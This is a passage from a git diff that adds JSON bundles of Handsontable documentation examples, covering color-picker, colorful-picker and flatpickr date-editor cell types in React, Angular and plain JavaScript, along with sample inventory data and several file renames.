=> {\n if (color) {\n const hex = color.toHEXA().toString();\n\n editor.input.value = hex;\n }\n });\n\n editor.pickr.on('hide', () => {\n if (Date.now() - editor._openedAt < 400) {\n editor.pickr.show();\n\n return;\n }\n editor.finishEditing();\n });\n },\n afterOpen(editor) {\n editor._openedAt = Date.now();\n editor.pickr.setColor(editor.input.value || '#000000');\n editor.pickr.show();\n\n requestAnimationFrame(() => {\n requestAnimationFrame(() => {\n const cellRect = editor.TD.getBoundingClientRect();\n\n (editor.pickr as any)._root.app.style.top = `${cellRect.bottom}px`;\n });\n });\n },\n afterClose(editor) {\n (editor.pickr as any)._root.app.classList.remove('visible');\n editor.pickr.hide();\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n },\n shortcuts: [\n {\n keys: [['Tab']],\n callback: (editor) => {\n editor.pickr.hide();\n },\n },\n ],\n});\n\n/* start:skip-in-preview */\ninterface InventoryItem {\n id: number;\n itemName: string;\n itemNo: string;\n leadEngineer: string;\n cost: number;\n inStock: boolean;\n category: string;\n itemQuality: number;\n origin: string;\n quantity: number;\n valueStock: number;\n repairable: boolean;\n supplierName: string;\n restockDate: string;\n operationalStatus: string;\n color?: string;\n}\n\nconst inputData: InventoryItem[] = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n {\n id: 954632,\n itemName: 'Oxygen Unit',\n itemNo: 'FK-87',\n leadEngineer: 'Dr. Grace Augustine',\n cost: 600000,\n inStock: true,\n category: 'Life Support',\n itemQuality: 85,\n origin: '🇺🇸 USA',\n quantity: 15,\n valueStock: 9000000,\n repairable: true,\n supplierName: 'OxyGenius',\n restockDate: '2026-03-02',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 734944,\n itemName: 'Processing Rig',\n itemNo: 'LK-13',\n leadEngineer: 'Jake Sully',\n cost: 350000,\n inStock: true,\n category: 'Mining',\n itemQuality: 81,\n origin: '🇦🇺 Australia',\n quantity: 25,\n valueStock: 8750000,\n repairable: true,\n supplierName: 'RigTech',\n restockDate: '2026-04-15',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 834662,\n itemName: 'Navigation Module',\n itemNo: 'XP-24',\n leadEngineer: 'Dr. Ellie Arroway',\n cost: 450000,\n inStock: true,\n category: 'Navigation',\n itemQuality: 89,\n origin: '🇫🇷 France',\n quantity: 8,\n valueStock: 3600000,\n repairable: false,\n supplierName: 'NavSolutions',\n restockDate: '2026-05-30',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 714329,\n itemName: 'Surveyor Arm',\n itemNo: 'QA-86',\n leadEngineer: 'Mark Watney',\n cost: 100000,\n inStock: true,\n category: 'Exploration',\n itemQuality: 78,\n origin: '🇺🇸 USA',\n quantity: 40,\n valueStock: 4000000,\n repairable: true,\n supplierName: 'ExploreTech',\n restockDate: '2026-07-12',\n operationalStatus: 'Decommissioned',\n },\n];\n\nconst data = inputData.map((el) => ({\n ...el,\n // eslint-disable-next-line no-mixed-operators\n color: `#${\n // eslint-disable-next-line no-mixed-operators\n Math.round(0x1000000 + 0xffffff * Math.random())\n .toString(16)\n .slice(1)\n .toUpperCase()\n }`,\n}));\n/* end:skip-in-preview */\n\nconst ExampleComponent = () => {\n return (\n \n \n \n \n \n \n \n     \n );\n};\n\nexport default ExampleComponent;","/src/example1.css":".color-picker-cell {\n display: flex;\n align-items: center;\n justify-content: center;\n}\n\n.color-picker-swatch {\n width: 18px;\n height: 18px;\n border-radius: 50%;\n flex-shrink: 0;\n border: 1px solid rgba(0, 0, 0, 0.15);\n}\n\n.color-picker-editor {\n width: 100%;\n height: 100%;\n border: none;\n outline: none;\n box-sizing: border-box !important;\n cursor: pointer;\n -webkit-appearance: none;\n appearance: none;\n}\n\n.pickr {\n position: absolute;\n top: 0;\n left: 0;\n opacity: 0;\n pointer-events: none;\n}\n\nhtml[data-theme=\"dark\"] .pcr-app {\n background-color: #1a1a1a;\n}"},"docsPath":"recipes/cell-types/color-picker/react/example1.tsx","breadcrumb":["Recipes","Cell Types","Color picker"],"guide":"recipes/cell-types/color-picker/color-picker.md","guideTitle":"Color picker","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/color-picker","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__colorful-picker__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__colorful-picker__react__example1.tsx.json new file mode 100644 index 00000000..c16362ce --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__colorful-picker__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Recipes ▸ Cell Types ▸ Colorful Picker · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"react-colorful\": \"5.8.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable, HotColumn, EditorComponent } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { rendererFactory } from 'handsontable/renderers';\nimport { HexColorPicker } from 'react-colorful';\nimport './example1.css';\n\nregisterAllModules();\n\n/* start:skip-in-preview */\nconst inputData = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n {\n id: 954632,\n itemName: 'Oxygen Unit',\n itemNo: 'FK-87',\n leadEngineer: 'Dr. Grace Augustine',\n cost: 600000,\n inStock: true,\n category: 'Life Support',\n itemQuality: 85,\n origin: '🇺🇸 USA',\n quantity: 15,\n valueStock: 9000000,\n repairable: true,\n supplierName: 'OxyGenius',\n restockDate: '2026-03-02',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 734944,\n itemName: 'Processing Rig',\n itemNo: 'LK-13',\n leadEngineer: 'Jake Sully',\n cost: 350000,\n inStock: true,\n category: 'Mining',\n itemQuality: 81,\n origin: '🇦🇺 Australia',\n quantity: 25,\n valueStock: 8750000,\n repairable: true,\n supplierName: 'RigTech',\n restockDate: '2026-04-15',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 834662,\n itemName: 'Navigation Module',\n itemNo: 'XP-24',\n leadEngineer: 'Dr. Ellie Arroway',\n cost: 450000,\n inStock: true,\n category: 'Navigation',\n itemQuality: 89,\n origin: '🇫🇷 France',\n quantity: 8,\n valueStock: 3600000,\n repairable: false,\n supplierName: 'NavSolutions',\n restockDate: '2026-05-30',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 714329,\n itemName: 'Surveyor Arm',\n itemNo: 'QA-86',\n leadEngineer: 'Mark Watney',\n cost: 100000,\n inStock: true,\n category: 'Exploration',\n itemQuality: 78,\n origin: '🇺🇸 USA',\n quantity: 40,\n valueStock: 4000000,\n repairable: true,\n supplierName: 'ExploreTech',\n restockDate: '2026-07-12',\n operationalStatus: 'Decommissioned',\n },\n];\n\nexport const data = inputData.map((el) => ({\n ...el,\n // eslint-disable-next-line no-mixed-operators\n color: `#${\n // eslint-disable-next-line no-mixed-operators\n Math.round(0x1000000 + 0xffffff * Math.random())\n .toString(16)\n .slice(1)\n .toUpperCase()\n }`,\n}));\n/* end:skip-in-preview */\n\nconst colorCellRenderer = rendererFactory(({ td, value }) => {\n td.innerHTML = ``;\n});\n\nconst colorValidator = (value: string, callback: (valid: boolean) => void) => {\n callback(value.length === 7 && value[0] === '#'); // validate color format\n};\n\nexport const ColorPickerEditor = () => {\n return (\n \n {({ value, setValue }) => (\n
    \n \n
    \n setValue(color)} />\n
    \n
    \n )}\n     \n );\n};\n\nconst ExampleComponent = () => {\n return (\n \n \n \n \n \n \n \n \n );\n};\n\nexport default ExampleComponent;","/src/example1.css":".color-picker-cell {\n display: flex;\n align-items: center;\n justify-content: center;\n}\n\n.color-picker-swatch {\n width: 18px;\n height: 18px;\n border-radius: 50%;\n flex-shrink: 0;\n border: 1px solid rgba(0, 0, 0, 0.15);\n}\n\n.color-picker-editor {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n}\n\n.color-picker-editor-popover {\n position: absolute;\n top: 100%;\n left: 0;\n padding-top: 8px;\n}\n\n.color-picker-editor:focus {\n outline: none;\n}\n\n.color-picker-editor-input {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n}"},"docsPath":"recipes/cell-types/colorful-picker/react/example1.tsx","breadcrumb":["Recipes","Cell Types","Colorful Picker"],"guide":"recipes/cell-types/colorful-picker/colorful-picker.md","guideTitle":"Colorful Picker","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/colorful-picker","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__feedback-react__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__feedback-react__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__feedback-react__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__feedback-react__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__feedback__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__feedback__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__feedback__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__feedback__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__feedback__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__feedback__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__feedback__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__feedback__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__feedback__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__feedback__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__feedback__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__feedback__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__feedback__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__feedback__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__feedback__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__feedback__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__angular__example1.ts.json new file mode 100644 index 00000000..50a7e8f4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Recipes ▸ Cell Types ▸ Flatpickr · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"date-fns\": \"4.4.0\",\n \"flatpickr\": \"4.6.13\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ChangeDetectionStrategy, ElementRef, ViewChild } from '@angular/core';\nimport {\n HotCellEditorAdvancedComponent,\n HotCellRendererAdvancedComponent,\n GridSettings,\n HotTableModule\n} from '@handsontable/angular-wrapper';\nimport { format, isDate, isValid, parseISO } from 'date-fns';\nimport flatpickr from 'flatpickr';\nimport 'flatpickr/dist/flatpickr.css';\n\nconst DATE_FORMAT_US = 'MM/dd/yyyy';\nconst DATE_FORMAT_EU = 'dd/MM/yyyy';\n\n@Component({\n standalone: true,\n selector: 'example1-flatpickr-editor',\n template: ``,\n styles: [\n `\n :host {\n width: 100%;\n height: 100%;\n }\n .flatpickr-editor {\n width: 100%;\n height: 100%;\n border: none;\n box-sizing: border-box !important;\n padding: 4px 8px;\n }\n `,\n ],\n})\nexport class FlatpickrEditorComponent extends HotCellEditorAdvancedComponent {\n @ViewChild('pickerInput', { static: true }) pickerInput!: ElementRef;\n private fpInstance: ReturnType | null = null;\n\n override afterOpen(): void {\n this.fpInstance = flatpickr(this.pickerInput.nativeElement, {\n dateFormat: 'Y-m-d',\n disableMobile: true,\n defaultDate: this.value || undefined,\n onClose: () => {\n this.finishEdit.emit();\n },\n });\n (this.fpInstance as any).open?.();\n }\n\n override afterClose(): void {\n (this.fpInstance as any)?.destroy?.();\n this.fpInstance = null;\n }\n\n override onFocus(): void {\n this.pickerInput.nativeElement.focus();\n }\n}\n\n@Component({\n standalone: true,\n selector: 'example1-flatpickr-renderer',\n changeDetection: ChangeDetectionStrategy.OnPush,\n template: `{{ formattedDate }}`,\n})\nexport class FlatpickrRendererComponent extends HotCellRendererAdvancedComponent<\n string,\n { renderFormat: string }\n> {\n get formattedDate(): string {\n if (!this.value) return '';\n\n try {\n const d = parseISO(this.value);\n\n return isDate(d) && isValid(d)\n ? format(d, this.getProps().renderFormat || 'MM/dd/yyyy')\n : this.value;\n } catch {\n return this.value;\n }\n }\n}\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example1-flatpickr',\n template: `
    `,\n})\nexport class AppComponent {\n readonly data = [\n { product: 'Dashboard Pro', version: '3.2.0', releaseDate: '2025-03-15', status: 'Released' },\n { product: 'Form Builder', version: '2.1.0', releaseDate: '2025-04-22', status: 'Released' },\n { product: 'Chart Engine', version: '4.0.0', releaseDate: '2025-06-10', status: 'Beta' },\n { product: 'Auth Module', version: '1.5.2', releaseDate: '2025-07-01', status: 'Released' },\n { product: 'File Manager', version: '2.0.0', releaseDate: '2025-08-18', status: 'Planned' },\n { product: 'Email Service', version: '3.1.0', releaseDate: '2025-09-05', status: 'Released' },\n { product: 'Search Index', version: '1.2.0', releaseDate: '2025-10-12', status: 'Beta' },\n { product: 'Cache Layer', version: '2.3.1', releaseDate: '2025-11-28', status: 'Planned' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Product', 'Version', 'Release (EU)', 'Release (US)', 'Status'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'product', type: 'text', width: 200 },\n { data: 'version', type: 'text', width: 80 },\n {\n data: 'releaseDate',\n width: 130,\n allowInvalid: false,\n editor: FlatpickrEditorComponent,\n renderer: FlatpickrRendererComponent,\n rendererProps: {\n renderFormat: DATE_FORMAT_EU,\n },\n } as any,\n {\n data: 'releaseDate',\n width: 130,\n allowInvalid: false,\n editor: FlatpickrEditorComponent,\n renderer: FlatpickrRendererComponent,\n rendererProps: {\n renderFormat: DATE_FORMAT_US,\n },\n } as any,\n { data: 'status', type: 'text', width: 130 },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"recipes/cell-types/flatpickr/angular/example1.ts","breadcrumb":["Recipes","Cell Types","Flatpickr"],"guide":"recipes/cell-types/flatpickr/flatpickr.md","guideTitle":"Flatpickr","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/flatpickr","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__javascript__example1.js.json new file mode 100644 index 00000000..5b9d1297 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__flatpickr__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Recipes ▸ Cell Types ▸ Flatpickr · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"date-fns\": \"4.4.0\",\n \"flatpickr\": \"4.6.13\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { format, isDate } from 'date-fns';\nimport flatpickr from 'flatpickr';\nimport 'flatpickr/dist/flatpickr.css';\nimport { editorFactory } from 'handsontable/editors';\nimport { rendererFactory } from 'handsontable/renderers';\n\nregisterAllModules();\nconst DATE_FORMAT_US = 'MM/dd/yyyy';\nconst DATE_FORMAT_EU = 'dd/MM/yyyy';\n\n/* start:skip-in-preview */\nconst data = [\n {\n product: 'Dashboard Pro',\n category: 'Analytics',\n version: '3.2.0',\n releaseDate: '2025-03-15',\n status: 'Released',\n downloads: 12450,\n },\n {\n product: 'Form Builder',\n category: 'Tools',\n version: '2.1.0',\n releaseDate: '2025-04-22',\n status: 'Released',\n downloads: 8320,\n },\n {\n product: 'Chart Engine',\n category: 'Analytics',\n version: '4.0.0',\n releaseDate: '2025-06-10',\n status: 'Beta',\n downloads: 3100,\n },\n {\n product: 'Auth Module',\n category: 'Security',\n version: '1.5.2',\n releaseDate: '2025-07-01',\n status: 'Released',\n downloads: 15600,\n },\n {\n product: 'File Manager',\n category: 'Storage',\n version: '2.0.0',\n releaseDate: '2025-08-18',\n status: 'Planned',\n downloads: 0,\n },\n {\n product: 'Email Service',\n category: 'Communication',\n version: '3.1.0',\n releaseDate: '2025-09-05',\n status: 'Released',\n downloads: 9870,\n },\n {\n product: 'Search Index',\n category: 'Tools',\n version: '1.2.0',\n releaseDate: '2025-10-12',\n status: 'Beta',\n downloads: 2450,\n },\n {\n product: 'Cache Layer',\n category: 'Infra',\n version: '2.3.1',\n releaseDate: '2025-11-28',\n status: 'Planned',\n downloads: 0,\n },\n];\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1');\nconst cellDefinition = {\n validator: (value, callback) => {\n callback(isDate(new Date(value)));\n },\n renderer: rendererFactory(({ td, value, cellProperties }) => {\n td.innerText = value ? format(new Date(value), cellProperties.renderFormat) : '';\n }),\n editor: editorFactory({\n init(editor) {\n editor.input = editor.hot.rootDocument.createElement('INPUT');\n editor.input.classList.add('flatpickr-editor');\n \n editor.flatpickr = flatpickr(editor.input, {\n dateFormat: 'Y-m-d',\n disableMobile: true,\n onClose: () => {\n editor.finishEditing();\n },\n });\n\n editor.preventCloseElement = editor.flatpickr.calendarContainer;\n\n /**\n * Prepare dark theme stylesheet for dynamic loading.\n */\n editor._darkThemeLink = editor.hot.rootDocument.createElement('LINK');\n editor._darkThemeLink.rel = 'stylesheet';\n editor._darkThemeLink.href = 'https://cdn.jsdelivr.net/npm/flatpickr/dist/themes/dark.css';\n },\n afterClose(editor) {\n editor.flatpickr.close();\n },\n afterOpen(editor) {\n const isDark = editor.hot.rootDocument.documentElement.getAttribute('data-theme') === 'dark';\n\n const head = editor.hot.rootDocument.head;\n\n if (isDark && !editor._darkThemeLink.parentNode) {\n head.appendChild(editor._darkThemeLink);\n } else if (!isDark && editor._darkThemeLink.parentNode) {\n head.removeChild(editor._darkThemeLink);\n }\n\n editor.flatpickr.open();\n },\n beforeOpen(editor, { cellProperties }) {\n for (const key in cellProperties.flatpickrSettings) {\n editor.flatpickr.set(key, cellProperties.flatpickrSettings[key]);\n }\n },\n getValue(editor) {\n return editor.input.value;\n },\n 